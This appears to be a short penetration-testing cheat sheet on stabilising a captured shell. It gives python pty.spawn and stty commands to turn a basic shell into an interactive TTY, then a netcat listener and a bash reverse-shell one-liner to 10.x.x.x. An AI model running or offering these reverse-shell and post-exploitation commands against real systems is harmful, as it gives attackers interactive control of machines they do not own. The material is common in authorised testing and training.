Shell TTY Fix
Shell Stuck - Get Real TTY shell
python
python -c 'import pty; pty.spawn("/bin/sh")' ..partially interactive
python -c 'import pty; pty.spawn("/bin/bash")' ..prettier
python3 -c 'import pty;pty.spawn("/bin/bash")' ..python3
(CTRL+ Z) ..background session
stty raw -echo ..send keyboard to shell
stty raw -echo;fg ..could combine these
fg ..foreground
enter (several times) ..help wake up
export TERM=xterm-color ..allows shell to clear screen
reset ..maybe?
Fix Weird Spacing:
stty -a ..check 'normal' terminal
rows 38; columns 146 ..example
stty rows 38 columns 146 ..Update remote to match
nc - reverse
nc -nvlp 5555
bash -i >& /dev/tcp/10.x.x.x/5555 0>&1
Last updated